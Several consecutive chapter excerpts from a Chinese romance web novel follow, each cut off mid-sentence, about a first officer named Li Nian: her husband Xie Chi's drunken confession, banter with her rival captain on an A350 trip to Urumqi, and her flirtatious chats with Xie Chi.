“网上根本搜不到这家店,你们是怎么找到的?”黎念背着手四处转悠,时而驻足观看园中奇景,时而步履轻快追赶上前面的谢持。 角落里的太湖石形貌奇异,就像生长在地面上的珊瑚礁,感觉会有各种小动物在里面筑巢安家。 谢持停下脚步,认真解释道:“同学自己开的,会员制私厨,一般不对外接待。” 黎念怕再多问两句就露怯,撇撇嘴不多言。 一行人推门而入的瞬间,爆破声响起,金银亮片纷纷扬扬飘洒下来,落满发梢和肩头。一道黑影闪过,两人的脖子瞬间挂上跳夏威夷草裙舞才会戴的花环。 “欢迎谢少荣归故里!” 在场所有人不约而同喊出响亮的口号,气势磅礴,声如洪钟。 黎念被面前的阵仗吓得顿时傻了眼。 为什么这种羞耻play连她也要有份啊! 她不由瞪向身旁那个进门时非要揽住自己肩膀的坏蛋。面对老友送来的惊喜大礼,谢持依旧气定神闲,岿然不动,好像已经摸清了他们爱整的花活儿的路数。 门口负责放礼花的寸头男子趴在门框上笑得直不起腰:“持子,你这反应太没劲了吧!” 谢持摘下花环用手提着,假装给了他一拳,展露笑颜:“是你出的主意已经过时了,我早就做好了心理准备,亲爱的小霄霄。” 韩凌霄被恶心得掉了一地的鸡皮疙瘩,用手拂去谢持留在自己身上的痕迹,转而绕到黎念跟前献殷勤:“这就是女明星吗?久仰久仰呀!果真百闻不如一见,本人看着比视频里还要美上一万倍。” 黎念仅剩的最后一丝紧张感也消解殆尽,落落大方笑着和他握手打招呼,同时腹诽自己怎就变成了女明星。 “少油嘴滑舌。”谢持在旁边说着风凉话,遭来韩凌霄一顿暴揍。 “去去去,就你把你老婆宝贝得紧,我连真心夸两句都不行了。” 座上有人发话:“你们两口子先坐吧,咱们把酒满上再慢慢叙旧。” 这时黎念才看清包厢里都有谁。除了韩凌霄之外,席间还有三名年纪相仿的男人,以及怀抱孩子的女人。 谢持牵住黎念的手,引她到上首落座,为她介绍自己的朋友。 “这位是李宴山,这家店的老板。你旁边的是他太太江艾琳,也可以叫她Eileen姐。” 穿新中式立领衬衫的男人举手示意,手上还挂着十八籽珠串,眉眼疏冷,不苟言笑。倒是江艾琳一身温婉娴雅的闺秀气质,叫人情不自禁想要与之亲近。 “李老板右手边这位是闻铭,‘听闻’的闻,‘刻骨铭心’的铭。现在我和闻老师是同事,他在商飞沪城分公司负责C939飞控系统的研究开发和组装测试工作。” “对面这位是常斐然,在新疆生活,专程飞过来和我们见上一面,明天又得赶早班机回去。” 黎念和他们一一点头致意。 “剩下这个剃寸头的‘街溜子’就不用介绍了,你别管他。” 韩凌霄本来整理好了衣衫,昂首挺胸等待隆重出场,不料谢持偏要故意略过他。整个人僵在原地一动不动,头顶似有乌鸦成群飞过。 黎念被逗乐了:“干嘛要这样对小霄霄。” 韩凌霄不服气嚷嚷道:“谢持!你看人家黎机长都记得住我的名字,你凭什么不再多介绍介绍我的光荣事迹。” “不想。”谢持送去轻飘飘的两个字。 韩凌霄一手撑在桌上,另一手颤巍巍地指着他,气到说不出一个字。 “韩凌霄,听名字就知道,他是那个‘凌霄汽车’的创始人。”谢持及时收手,呷了口茶水悠悠道。 “诶——这就对了嘛。”韩凌霄满意颔首。 数月前,染着白毛戴着黑框眼镜一副动漫人物形象的韩凌霄在新车技术发布会上,首次披露具有自主知识产权的电动轿跑X11,引发全网震荡。 新车上市后,预定人数打破同类产品历史记录,一度成为汽车测评博主的流量密码。 开三轮的黎念从来不在乎四轮的事,但她作为半个颜值博主,竟也被凌霄的营销找上门过,虽然最后以不符合账号调性为由谢绝了高回报的推广合作。 “早知道是小霄霄的品牌,当初我就不该拒绝你家marketingmanager了。”黎念托着腮,看起来有些懊恼。 “现在来当代言人也不晚,”韩凌霄把头发往后一撩,“我还想蹭蹭百万女明星的热度。” 谢持用眼神递过去飞刀。 “送我X11,一句话的事。”黎念大言不惭。 韩凌霄被淬着毒的眼神杀了个片甲不留,不敢再在谢持面前造次,嘟囔道:“你老公那台添越够买我十几辆X11的,让他送你。” “关他什么事儿,我看是小韩总没诚意谈合作,”黎念睨了“她老公”一眼,缠住他坚实的臂膀,故意嗲声嗲气道,“你说对不对呀,亲爱的?” 谢持很配合地笑道:“乖,先把汽车驾照考了,市面上有的车随便挑,别管他的破电动。” 对面的韩凌霄后槽牙都快咬碎了。 可恶,都是小情侣的把戏,专门欺负他这样的单身狗。 黎念气恼地松开谢持,巴掌呼在他的背上发出一声厚重的闷响。怎么感觉自己反被摆了一道!不会开车怎么了! 谢持轻轻哼了一声,眸色幽暗深沉。她今天总是喜欢打自己,但他很喜欢。 “你们一直异地,感情还这么好。”江艾琳笑道。她怀里的小女孩已然睡醒,揉着惺忪的眼睛不停发 32. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黎念惊慌失措,不知道该把手放在哪里,最后抚上他的发顶,安慰地拍了拍。短短的头发,和刺猬一样摸起来有些扎手。 谢持将她搂得愈发用力。 肋骨紧到发出刺痛,她狠下心来将这缠人的鬼一把推开。他整片衣领都被涟涟泪水沾湿,她的掌心隐隐发凉。 她弓着腰,双手捧住谢持的脸仔细观察。 他微红的眼里还淌着泪,身体随着啜泣一顿一顿地抽动。潜意识里应是想要竭力控制住失态表现,面上五官却痛苦扭曲到了一块儿。挺拔的身躯此刻颓倒无力,脆弱得就像台风过境后横斜在地生死未卜的树。 “小持乖哦,别哭了,我们这就回家好不好?” 黎念又将他揽入怀里,学着别人哄孩子的方式,揉揉毛茸茸的脑袋,说着平时羞于讲出口的温柔话,试图安定他的心绪。 谢持还是一言不发,咬着下嘴唇不停低声抽噎,往她怀里钻了钻,刚好埋进了身前起伏跌宕最柔软的地方。 名字取自“端方自持”,平日里怎会轻易与人狎昵失掉方寸。可他偏偏在神驰意远的时候总会变得格外粘人,像某种温驯的大型猫科动物,除了舔舐自己和配偶的毛发什么也不会做。 “嘶——”黎念吃痛地咬紧牙关,最后忍无可忍,直接一巴掌把他呼开,“喂!你有病啊!” 她马上快到生理期,胸口坠胀得无意轻碰一下都疼,遑论被他那样没轻没重地对待。 谢持醉得意识涣散,完全无心思考自己是如何惹恼她的,只觉得愈加委屈:“你嫌弃我……” “没错,我就是不想和醉鬼讲话!” 黎念拖着他走出包厢,穿过一院的葳蕤。夜深露重,临水的曲廊里时而有萧萧秋风拂过,吹散了几许酒意。 她衣衫单薄,原本是抵抗不住寒凉的,但此刻肩上多出来一个沉甸甸的男人,源源不断传来热气,倒叫她折腾出来满头的大汗。 代驾小哥听到院内的动静,连忙用鞋尖踩灭了烟头,上前帮忙搀扶谢持进了汽车后座。 谢持看起来正常了些,至少眼泪总算止住了。 不过,他一回到车里就开始四处翻找,从门板上的置物架到座椅后背的收纳袋,慌乱中甚至俯在黎念膝上,手伸得很长,硬要够到她那边去。 黎念好气又好笑,不知道他在耍什么酒疯,一脸生无可恋任由着他拱来拱去。 “师傅……”醉鬼探出头,朝着前面的司机嘿嘿一笑,“麻烦您帮忙看看副驾的储物箱里有没有一瓶香水……” 代驾闻言立刻靠边停车,耐心照着他的要求去做,仍旧一无所获。这辆车几乎全新,没有太多使用痕迹,储物箱里更是空空如也。 “不对啊,我应该随时放车里了。”谢持喃喃自语。 黎念忍不住好奇,问道:“找香水做什么?” 谢持转过头来紧盯着她打量半晌,倏然大惊失色,像触电了似的缩到角落里,同她刻意拉开距离:“你不要过来!我现在会把你熏到。” 说着又是一副泫然欲泣的模样。 黎念有些好笑地挑眉。这算什么糊涂话,她也喝了不少白酒,大不了“臭味相投”到一块去。 更何况他是她见过的最自律、最有洁癖的人。 且不说那眼睛里容不得半点灰尘的劲儿,光是永远萦绕在他身上的柑橘香气就早已入脑入心,化作了她对“谢持”二字的注脚。 “怎么会呢?”黎念看向窗外,指尖却不由自主朝着他慢慢挪近。 周遭一片漆黑荒芜,玻璃上只有车内景象的倒影。她看着谢持模糊的身形悬浮在半空,唯恐下一秒就会散作星尘随风飘远。 良久,直到眼前出现浩繁灯火,城市的喧嚣再次填满了窗外世界,她的手反被握住。车内冷气开得足,手上传来的温度不改往日灼热。 她回过头来。对方仍然坐在远处屹然不动。 “我不信,除非你亲我一下。”谢持嘴角噙着浅淡的笑意,眼神仍然虚焦。 “噗——” 黎念下意识朝后视镜看去,代驾司机憋笑憋得很辛苦,显然偷听了很久的热闹。 她递过去一道威胁的眼神,对方立刻吓得噤若寒蝉,再也不敢开小差。 后来,黎念一个人扛着谢持,跌跌撞撞把他送进了房间,在他的再三央求之下耐着性子帮他囫囵地洗漱更衣。 一套流程下来,把人丢到床上时,她已经精疲力尽。 临行前,她的手腕被攥住,酒醉的男人力气仍然大到难以抵抗。但他没起半分坏心思,只是用祈求的眼神定定看着她。 “你还愿意要我吗?”谢持手肘撑着身子半坐起来,泪眼在昏暗的灯下闪烁着微光,“我不好看,也不招人喜欢,还总要当你的累赘。” 黎念实在料想不到,这么多年过去,他的卑微依然镌刻在心底,任凭千磨万击,如何都抹消不去。 即便外貌发生天翻地覆的变化,即便他拥有许多来自世界各地的朋友,即便他在国外事业有成的情况下还愿意抽身离去,转而攀登更为险峻、更为崇高的理想…… 在她面前,他永远未曾改变,他的人生底色依然黯淡到了无生趣。 黎念正想得出神,突然腕上温热的力道一紧,像是在催促她给予回应。她扶着床沿坐在他的身侧。 他心情低落,沮丧地垂着头。这副模样哪能让人联想到平日里意气风发的那个谢持。 “你才不是累赘,你是我贪玩的借口,是我的免死金牌,”黎念轻轻道,“我妈只会夸你是别人家的孩子,我嫉妒都还来不及呢。” 谢持低沉的笑声隐隐传来。 “黎念,你还记得我不喜欢水果吗?”他冷不丁换了个话题。 “小学食堂中午发的苹果香蕉梨都给我吃了,很难忘掉吧。”黎念眄他一眼。 他们失去联系这么多年,现在还能心平气和地聊起往事,想想也很神奇。 谢持终于松开了她,头向前微倾,在她圆润的耳垂落下轻轻一啄:“嗯……才不是苹果香蕉。” 黎念所有感官瞬间凝结在耳朵上,微微发烫,那是她全身上下第二敏感的部位。她逃也似的偏过头去,心痒难耐到手指抓紧床单。 而这些欲盖弥彰的动作都被谢持尽收眼底。 “我讨厌吃水果,但是因为你,我不再反感柑橘,甚至,变得有些上瘾。 “它简直就像我的tranquilizer。紧张、沮丧、愤怒、被逼入绝境,还有丧失求生欲望的时候,只要闻到那种香味就会瞬间安心下来,就会让我想起你。 “其实应该说,你才是我的镇定剂。” 黎念恍 33. 堤福俄斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念抵达公司以后,先例行公事去酒测签到一体机上面打卡,然后到飞行部A350机队专属的准备室里开航前准备会。这些工作流程日复一日,早已经烂熟于心,却不容一丝懈怠。 她竟然是来得最晚的机组成员。邢方洲和二副师弟早已在房内等待。 “Wow,飞行员皮肤限时返场。你这次打算坚持几天?”邢方洲对着她流里流气吹了声口哨。 黎念对他的嘲讽完全免疫,抛了个媚眼,用最造作的声音甜甜道:“早上好晦气玩意儿,我打算干到官大一级压‘死’你再美美退休。” 本就对他没什么好印象,再联想到晋姝意的惨痛遭遇,她真恨不得原地手撕了他。 邢方洲笑:“Waitandsee.” 二副师弟嘴张成“o”型,被他们的相处模式吓得仗马寒蝉。进公司前也没听说过海云的企业文化这么小众啊?机组见面问候先互放狠话,连空气里都弥漫着火药味。 何况面前这两位都是大名如雷贯耳的重量级人物,一个是英航传奇华人机长,一个是7897神机组的PM。 神仙打架,凡人遭罪。 他这个新人菜鸟夹在中间简直两头为难,虽然内心是更倾向于师姐的。 正当他打算倒地假装失能时,黎念很热心地替他拉开座椅,殷勤笑道:“师弟等累了吧,赶紧坐。” 师弟背后渗出来更多冷汗:“师姐……不用麻烦您……” 他到底拿的是什么阴间剧本啊! 事实证明亲爱的师姐就是单纯人美心善。他为自己不怀好意的猜测默默在心里滑跪道歉。 邢方洲很快进入工作状态,打开平板电脑调出运行网app。 师弟主动帮忙把提前打印好的航行资料分发到位。 “很好,我看到你们的登机证都已经挂在脖子上了。这要丢了那可真是bigtrouble,huh?他们可是最看重这些的细节的。” 邢方洲的语气轻松愉快,就是那一口滑稽的翻译腔叫人听得有些不习惯。感觉他自己一个人就是一场戏,节目效果拉满。 黎念低头再检查了一遍,确认登机证如假包换,还是热乎的,这才放下心来。 “作为本次任务的责任机长,想必我不用再做自我介绍了,你们都认识。今天一共飞三段,第一段,大兴到浦东,飞行时长两小时三十分钟。第二段…… “大兴总体来说天气不错,能见度好,就是风稍微大一点,起降的时候要注意。沪城预报有较长时间降水,第二段浦东飞大兴大概率会延误,这也影响到了最后一段到地窝堡,希望能在天黑之前结束工作。 “油的话按正常量来就行,多加五百磅做备用。 “黎副驾驶,待会儿你来打计划,‘愁’晓亮负责下去加油、收油和绕机检查。” 黎念咬着牙送他一对白眼。 大可不必把“尊卑”秩序随时挂在嘴边。 师弟弱弱举手:“方洲哥,我姓仇,就是‘ball’那个‘球’的读音……” 邢方洲拧眉看向他,很明显愣了一下。 这个姓氏实在太小众,读错也不能怪他吧。 “Isee,那我以后就叫你‘ball’好了。” 仇晓亮额角上的青筋突突跳着。 什么鬼昵称啊!难听得要死。 他才没师姐那个胆子随便顶撞上级,只好像鹌鹑一样缩着脖颈应承下来。 “其他空防预案和紧急情况预案等到上飞机再跟乘务员们一起协同准备,现在请检查一下你们的手电筒、耳机、反光背心,我们准备去安检。 “Bytheway,今天是特别的一天,在此我代表……” 没等邢方洲说完花里胡哨的结束语,黎念直接收拾好桌面,手臂夹着帽子先行一步,留他一道潇洒冷漠的背影。 “Ball,你看吧,我们亲爱的副驾驶小姐总是和我不‘对劲’。”邢方洲耸耸肩。 仇晓亮笑得很牵强:“方洲哥,我猜你想说的是不对付。” “嗯?有什么区别吗?”邢方洲问。 “没有,都挺好的。”仇晓亮擦汗道。 - 黎念甫一上机组车,就莫名其妙抱了满怀的花束和纸袋。原是晋姝意代表乘务组其他小粉丝把礼物一股脑儿地塞给她。 “姐!欢迎回家!”晋姝意带头欢呼道。 低矮的车厢里顿时充满女孩子们的欢声笑语,但黎念并不觉得吵闹,反倒有种泡在蜜糖罐子里的甘美滋味。 一起飞的低号位新乘年纪都很小,客舱经理和乘务长也不在民间流传的黑名单范畴内,整个乘务组的氛围看起来十分融洽。 方才远远望着她们过安检时丝毫瞧不出异样,没想到大家的飞行箱里竟然还藏着大惊喜。 黎念凝神看向怀里灰紫色的曼塔玫瑰,开得恰到好处,花瓣折出锐利的尖角。这份盛放在百忙之中的珍贵心意让她泪意盈眶。 曼塔玫瑰的花语是“梦开始的地方”,在重新回到岗位的这一天收到它,更觉意义非凡。 “大家真的太有心了,谢谢你们,我好感动,”黎念笑着抹泪,“到乌市之后咱们一起出去吃点好吃的,全场我来买单。” “姐就是永远的神!” “地球没了姐根本没法转。” “呜呜呜……好喜欢念念姐……” “今天不液断了,舍命奉陪到底。” 邢方洲探进来脑袋,很是煞风景:“女士们,很抱歉打断你们聊天,但是外面还有两位可怜的飞行员上不了车,能不能帮帮忙。” 黎念这才意识到自己一直挡在通道里,连忙跨过飞行箱坐下。 后排座位里飘来一声不屑冷哼。 晋姝意抱着臂望向窗外。 全场只有黎念一个外人知道她和邢方洲拍拖的事情,其他人并未把她奇怪的表现放在心上。大家很快随着汽车摇摇晃晃的节奏,瘫倒在拥挤的座位里浅眠起来。 接下来要鏖战一整天,中途根本没留多少时间给她们休息,晚上飞到乌市都得累掉一层皮。 今日执勤的飞机停靠在距离航站楼较近的西北港湾120号机位。 机组车畅通无阻开进停机坪,一行人拖着箱子拽着过夜袋,浩浩荡荡地下了车,从廊桥旁边的侧梯进入飞机。 大家收拾好东西便各司其职做起了航前准备。 回到熟悉的驾驶舱,黎念调好座位之后第一件事就是拿出湿巾擦拭侧杆和小桌板。她虽不擅长收纳,但其实蛮爱干净。 平时保洁阿姨没有权限进入这里,所以舱内卫生都得由当班飞行员自己负责,能不能遇到干净整洁的环境完全看人品。 她有时会在某个犄角旮旯里擦出一手的灰,有时能在缝隙里找到陈年的瓜子壳。 总之一言难尽。 可惜A350的挡风玻璃不能打开,要不然她非得钻出去擦一擦它的小墨镜。 “哟,看起来很有干劲嘛。”邢方洲好整以暇盯着她,促狭地笑。 “Sir,我看您的反光背心还没脱,如果闲不住需要给自己找点乐子的话,不如去对面Starbucks帮您的 34. 堤福俄斯 《风起时吻你[先婚后爱]》全本免费阅读 等飞机上到巡航高度,邢方洲接通自动驾驶,解开安全带打算出去遛弯透气,结果刚出门没多久就被迫抱着一摞精装笔记本折返回来。 他把本子直接扔到黎念的小桌板上,盛气凌人:“乘客指名道姓要代言人写flightlog,写不完也别想让我帮忙。” 怎么听起来有点酸? 黎念抬眼一瞧,他果然面色铁青。没吃两斤柠檬都不会有这效果。 “不好意思,我还真就打算把这事包圆儿了,”黎念扬起下巴,“邢机长,麻烦你盯一下频率。” 邢方洲敷衍地应了一声,暂时将耳朵关起来。 虽然他承认自己有点嫉妒黎念空前绝后的人气,但他的确还没有幼稚到非得就谁来执笔署名这件事争个高下。 其实真正搅得他心神不宁的另有其人。 目前海云航空没有明令禁止机组接收飞行日志,所以一般情况下,乘客递出去的小本本大都能转交到飞行员手中。 飞行这些年,黎念搭过班的很多机长都喜欢亲力亲为填日志。 尤其是赵斌,抄起随身携带的签字笔就是一顿输出,恨不得把当初为了参加诗词大会百人团而紧急背诵的励志诗句全部默写上去。 归根到底,她其实也没太多书写经验。 黎念打算借鉴一下前辈们的笔法,随意抽取一本使用痕迹明显的飞行日志大致翻了翻。 这位资深飞友看起来很喜欢集邮,差不多把国内航司坐了个遍,友司的寄语风格也是各具特色。 但出人意料地,他最近几次乘机记录都是清一色的海云A350。 ——怎么有点守株待兔的意味。 黎念咬着笔头犯了难。 她突然想到王宏事前的叮嘱,怕出错就套公司现成的话术,于是一笔一划写下“云海相依,飞翔无界”这句公司口号。又怕显得太没有诚意,在下方空白处画了个卡通飞机图案。最后洋洋洒洒签上自己专门在某宝定制的艺术签名。 有了成功先例,后面几本都写得很顺畅。 直到第二、三段航程,晋姝意陆陆续续送过来的本子逐渐堆成了小山,黎念实在疲于应付,让师弟也分担了一些工作量。 高度下降到8000米准备进近时,邢方洲突发奇想说要冒充印度人试试当地空管的英语水平,让黎念来操纵落地,他负责通讯。 黎念只当他是好心帮自己攒起落数量,并没有吐槽这种缺德显眼包行为。 飞机于晚上八点半降落在地窝堡机场25跑道。 这座繁华的西北重镇和京城有两个小时的时差。此刻正值傍晚时分,天边浓密的积云和巍峨的雪山被夕阳染成浪漫玫瑰粉色。 黎念走下飞机问的第一句话不是“吃什么”,而是“药店在哪”。 她感觉自己写飞行日志快写到腱鞘炎发作,转动手腕时甚至可以很清楚地听见关节发出的“咔咔”响声,再不来点止痛酊只怕体检不合格又得停飞。 “姐,写这也不是咱的义务,下次可以直接拒绝的。伤了身体多不划算呀。”晋姝意主动帮她提着过夜袋,满眼都是心疼。 黎念欲哭无泪:“我这不是刚复工心里高兴嘛,实在没想到大家会这么热情……” 更没想到邢方洲当真小气得紧,一点忙都舍不得帮,甚至让他友情签名都不乐意。 她贴着航医给的膏药,到酒店换了身常服,就近找了一家看起来生意火爆的本地菜馆占好位置,把餐厅定位发到临时组建的工作群里。 【[位置信息]乌市沙区友好路88号】 【[图片]】 【宝贝们收拾好就可以慢慢过来吃饭啦~这是菜单,有想吃的可以先在群里点~】 没等其他人回复,邢方洲倒是立刻发过来一个大大的问号。 邢方洲:【不打招呼就擅自离开酒店?】 黎念:【我们在机组车上讨论那么久吃什么,你假装没听到呢?】 邢方洲:【没有正式的请假。】 黎念:【先上车后补票嘛,请你多吃两串烤肉行不行?】 邢方洲那边像断了网一样,迟迟未有回复。她便不再搭理他,而是把小姑娘们接龙在群里的菜名挨个报给服务生。 女孩年纪不大,应是在店里做兼职的大学生,头戴四棱小花帽,身穿五彩艾德莱斯裙,天生一头乌黑浓密的长发扎成了无数条细小的辫子散落在身后,一看就是活脱脱的美人。 “和您核对一下,您点了红柳烤肉、大盘鸡、羊肉抓饭、土豆炖狗鱼、酥皮烤包子、黑蘑菇鸡汤,还有沙葱炒鸡蛋。 “请问现在就做还是再等会儿?” 她跟复诵塔台指令似的,口条清晰,一字不落。 “现在吧,”黎念有些惊讶,“你的普通话说得这么好?” 服务生笑而不语,行了个优雅的礼便提起裙摆翩然离去,下次再出现在黎念面前时,身后还跟了一群熟悉的面孔。 邢方洲竟也屁颠屁颠跑来蹭饭。 不知道是谁刚刚还在群里恐吓人。 “我来监督你们有没有遵守驻外规定。不许饮酒,不能晚归,更不能擅自离开我的视线范围内三米之外。” 黎念翻白眼:“好假,明明就是嘴馋。” 邢方洲坐在她旁边,把餐具摆好,淡淡道:“诽谤上级,罪加一等。” “已经学会这么高级的词汇啦?”黎念问。 邢方洲:“亲爱的firstofficer,我不是蠢笨,只是缺少适宜的语言环境。下次再让我和你搭班,我一定把你赶到后座去,让你一个起落都飞不了。” 竟不知他何时也学会戳黎念的肺管子了。 临近而立之年,不想躺平的副驾都在忙着攒时长攒起落,早点为放机长做准备。像黎念这种野心明晃晃写在脸上的人,让她在后面摸鱼就是要她的命。 邢方洲勾唇一笑,“官大一级压死人”的感觉的确不错。 黎念很不服气,将杯中微甜的薄荷茶一饮而尽,勉强压下去心里的愤懑。 坐在圆桌对面的乘务长笑道:“想不到驾驶舱里的画风这么有意思,你俩是聚到一起就要拌嘴吗?” 黎念故作深沉:“说来话长,第一次碰到邢机长时,我根本都不认识他,他却一上来就质疑我的飞行技术。之后每次见面我都要无缘无故挨顿骂。 “都说现在带飞环境差,可也没见过哪个教练员这么嘴欠的。” 乘务长自然没法摸透其中的奥秘,也不愿插手飞行组的恩怨,没再多问。 “菜还不让说了?”邢方洲死鸭子嘴硬。 “我就问你,今天的下降率和载荷帅、不、帅!”黎念气得差点从座位上跳起来。 “有本事落成田的时候给大家表演个 35. 堤福俄斯 《风起时吻你[先婚后爱]》全本免费阅读 中午的机组餐味道欠佳,大家几乎空腹忙活了一整天,故而这顿晚饭可以说是吃得酣畅淋漓。加菜小票贴满了餐桌边缘,巨大木桶装着的卡瓦斯被喝到见底。一桌人战斗到厨房下班方肯罢休。 黎念去吧台结账时才看到微信。 【Zeus撤回了一条消息】 【乌市天气好吗?你走以后京城下了好大的雨。】 她想到今天一直在抽空收集工作vlog素材,于是把仇晓亮帮忙录下来的粉色晚霞视频发过去。 【我飞过那么多日出日落时分的航班,这么少女的粉色晚霞还是第一次见,稀有度五颗星!好看吧?】 谢持几乎是秒回。 【天气真好。】 【好特别的粉蓝渐变。】 【刚搜了一下,据说这种大气现象叫“维纳斯带”,能遇到它是件很幸运的事情。】 “女士,这是您的账单,请收好。” “谢谢。” 黎念头也不抬,伸出手把纸张接过来,注意力又全部集中在手机屏幕上,嘴角不自觉地扬起笑来。 【就当你夸我是维纳斯了。】 聊天框对面显示了很久的“对方正在输入”,可以想像出谢持反复删改,欲言又止的纠结模样。 Zeus:【如果你知道这位女神的来历的话,我想你可能不太愿意自比于之。】 【那都是原始社会对男性生歹直崇拜的思想糟粕。作为新世纪的新人类,我们应该忽略这种不合时宜的内容,取其精华[发怒][发怒]】 【想想她都代表了什么,爱与美丽,还有航海冒险精神,不觉得和我很配吗?】 Zeus:【好的,维纳斯[脸红]】 北纬四十三度的晚风拂过,裹挟着初秋深夜的寒意,非但没有扑灭这簇烧得面颊发红的烈焰,反倒让火势渐盛。 黎念被微风吹得醒过神来,后知后觉已经随着人流游走到了餐厅外面的天桥上。 视线范围内,海云新修的酒店大楼高耸入云,黑曜石幕墙在夜色中遁形,仅余“OceanSky”白色字样和从玻璃透出来的房间灯光灿若繁星。 “谁是Zeus?”晋姝意像女鬼一样从身后冒出来,趴在她的耳边幽幽道,“姐,你现在谈起恋爱是一点都不遮掩了啊。” 黎念心中警铃大作,下意识按住锁屏键,欲盖弥彰笑了笑:“就聊聊天气,没说什么。” “此言差矣,有些时候天气不过是感情难以宣之于口的托辞,要学会读懂潜台词嘛,”晋姝意摇摇食指,“比如说下雨是惆怅又卑微的想念,起风是‘天冷注意加衣’,阳光明媚是‘你也在这里就好了’。” “现编的理论倒是一套套的。你这么会说话,留在海云天天倒可乐简直可惜了,去出书吧。”黎念笑道。 晋姝意正色:“准确来说两舱客人喜欢喝茶和咖啡的比较多,我的可乐都是留着自己兑水喝的。” “这都啥跟啥啊,哈哈哈。” 洗漱后,黎念敷着面膜靠在床头,打开电脑整理这一日的视频素材。 除了日常记录向的工作vlog以外,考虑到飞行员的实际工作强度,新媒体的同事还报了好几个特别选题让她闲暇时看兴趣来准备,比如“飞行箱开箱记”“飞行员出差日记”“机长ootd”“机上一日食”……这样在没有vlog可发的情况下也能保持稳定更新的频率,还丰富了账号内容,具有一定科普价值。 黎念选择的第一个主题是出差日记,主打当地美食和民俗。 她有很严重的“相册洁癖”,喜欢没事清理照片视频腾出内存。当然这次也不例外。除了“维纳斯带”的唯美镜头被当做纪念留下,其他视频全部都在打包发走后被删得干干净净。 酒店免费网络的上传速度有点慢。正当黎念等得百无聊赖之时,外面传来一阵轻快急促的敲门声。 门口站着晋姝意,换了一身睡衣,卸了妆,头上还包着大耳狗的干发帽,像才洗过头。 晋姝意溜达进来,坐到没有使用痕迹的空床上拍了拍枕头,咬牙切齿道:“姐你一个人住标间,太浪费了,太不公平了。” 按照海云的驻外制度,客舱经理、乘务长、机长和副驾驶的住宿标准是一人一间房,其他的空乘、安全员和飞行学员都得临时组队拼房住,时常引得大家怨声载道。 平时住基地宿舍没有个人隐私就算了,出来住酒店也得搭伙过。一个月挣那么一点辛苦费全折在租房和改善生活上面。 “要不要今天晚上搬过来一起睡?”黎念问道。 晋姝意吐舌头:“还是算了吧,咱俩关系再好也不能明着表现出来,我怕她们说我搞特殊不合群。” “这倒也是。” 现在的电脑随机排班制度固然有其存在合理性,但也给空乘无形之中增加了额外的心理压力。一旦匹配到爱嚼舌根的或者情绪不稳定的,工作氛围窒息程度就可想而知。 晋姝意年纪轻轻就“混”到了服务两舱贵宾的三号位,除了本身专业素质不错以外,更重要的还是她嘴甜圆滑会来事儿的性格,不论遇到多么难处的同事,她都能一笑置之,也总是设身处地为他人多着想一步。 “姐,别忘了我来这里的主题是什么。你和那个Zeus是什么时候开始的?进度到哪里了?”晋姝意盘腿坐好,满脸严肃,用审问嫌犯的口吻道,“坦白从宽,抗拒从严。你最好不要有任何隐瞒,不然我就去找陈鹏鹏问个清楚。” “他知道的还不一定有你多。”黎念嘟囔道。 “我不管,”晋姝意哭丧着脸,态度来了个大转变,“没有享受到最先知情权我真的很难过啊!姐……” 黎念叹口气:“行吧。” 然后像是下了很大的决心一般:“简单来说,就是我结婚了。” ……??? 当天晚上晋姝意几乎是夺门而出,把自己关在房间里生了一晚上的闷气,连微信也不回复。 直到翌日在飞往大兴的班机上,她献出在国际大巴扎里买到的坚果塔,又跟没事儿人一样厚脸皮缠着黎念给她看Zeus的照片。 “你不是见过本人了吗?”黎念奇怪地瞥她一眼。 晋姝意理直气壮:“当时那个场景好有压迫感,我连动都不敢动一下,更别提偷偷看他了。” 黎念笑着推开这个粘人的精怪,面色却逐渐凝重起来。她翻看手机意识到了事态的严重性—— 相册里没有谢持的任何照片。 此刻她们乘坐的是海云航空波音737中型机,上面并没有选配Wi-Fi功能,根本没法上网去搜他的消息。 “不会吧,你俩都是老夫老妻了,连张合照都没有的?”晋姝意在旁边怪声怪气叫道。 黎念捂住她的嘴:“嘘——小声点!” 她俩座位在机翼旁边, 37. 堤福俄斯 “塔台上午好,B-9236,E02,首次单人单飞准备好,听指挥进跑道。” “B-9236,D脱离,感谢指挥再见。” 黎念想到数年前顺利放单那天,自己从塞斯纳172教练机下来时的情形。 为庆祝成功单飞这具有特殊意义的时刻,在蓉城二月底的料峭春寒里,带飞师父和同门师兄弟一人一桶水泼向她。衬衫湿透贴在皮肤上,冰凉刺骨的感觉直到现在仍然记忆犹新。 从学员到能够独当一面的飞行员,冷静、谨慎的态度是关键。师长最后的警醒和教诲全在这桶水里。 平日训斥起人来总是喋喋不休的师父在临别之际变得格外沉默。他说的最后一句话是,“记住这种掌控自己人生的感觉。” 这与谢持言下之意不谋而合。 飞行道路是她亲手选择的,在副驾驶位置上躺平一辈子亦或是拼劲全力放机长都只能由她自己决定,旁人无权插手,流言更不足为惧。 “如果有一天,我为了飞行而不得不放弃现在拥有的一切,包括你呢?”黎念没来由地想问。 谢持闻言怔愣在原地。 他不认为踏踏实实做民航飞行员有断舍离到这种程度的必要。 哪怕她厌倦了京城的生活,想转到天南地北的基地去,他都愿意依着她。能调动工作就调动,不能的话,把每次约会地点变成紧张刺激的盲盒,专程飞到她驻外的城市见上一面都行。 所以他心存侥幸,分道扬镳的这一天绝对不会来临。 “我会选择成全你。” 偏还要嘴硬。 黎念不禁失笑:“扮什么酷啊。” 谢持早年长期在法国生活,又无心插手“赫尔墨斯”的经营管理,鲜少在这种商务活动露面,但并不妨碍他的谢家长子身份自带光环,让无数人趋之若鹜。 他们在酒水台短暂停留的几分钟,敬酒攀谈的人跟潮涨潮落似的,纷来沓至。 黎念就这样看着在热搜上频繁刷脸的明星实物毫不设防地出现在眼前。 往日里将他们层层包围的冷脸保镖全部消失不见,余下只有殷勤的笑颜和说不尽的奉承话。 经常住在热搜榜上的冲浪选手一眼就能认出黎念,有眼力见的还会连带着谢持一起夸句“天作之合”。总归有那么一两个不懂事的人,只把她当作陪同富家公子哥应酬的次抛小明星,一门心思扑在谢持身上。 谢持根本不认识这些圈内人士,但顾虑到对方和谢思谏的面子,做事自然周全,同每一个人都能简单聊上两句。 黎念被陌生人的曲意逢迎包裹得喘不过气来,笑容愈发勉强僵硬。后来她实在没有心情和这些不相干的人耗着,干脆拂开谢持别在腰间的手,视线在人群中逡巡,找到熟悉且令人安心的身影后,迈着飞快的步伐朝那边靠近。 浓烈的脂粉香味在空气中缓缓流动着,熏得她头脑发胀。 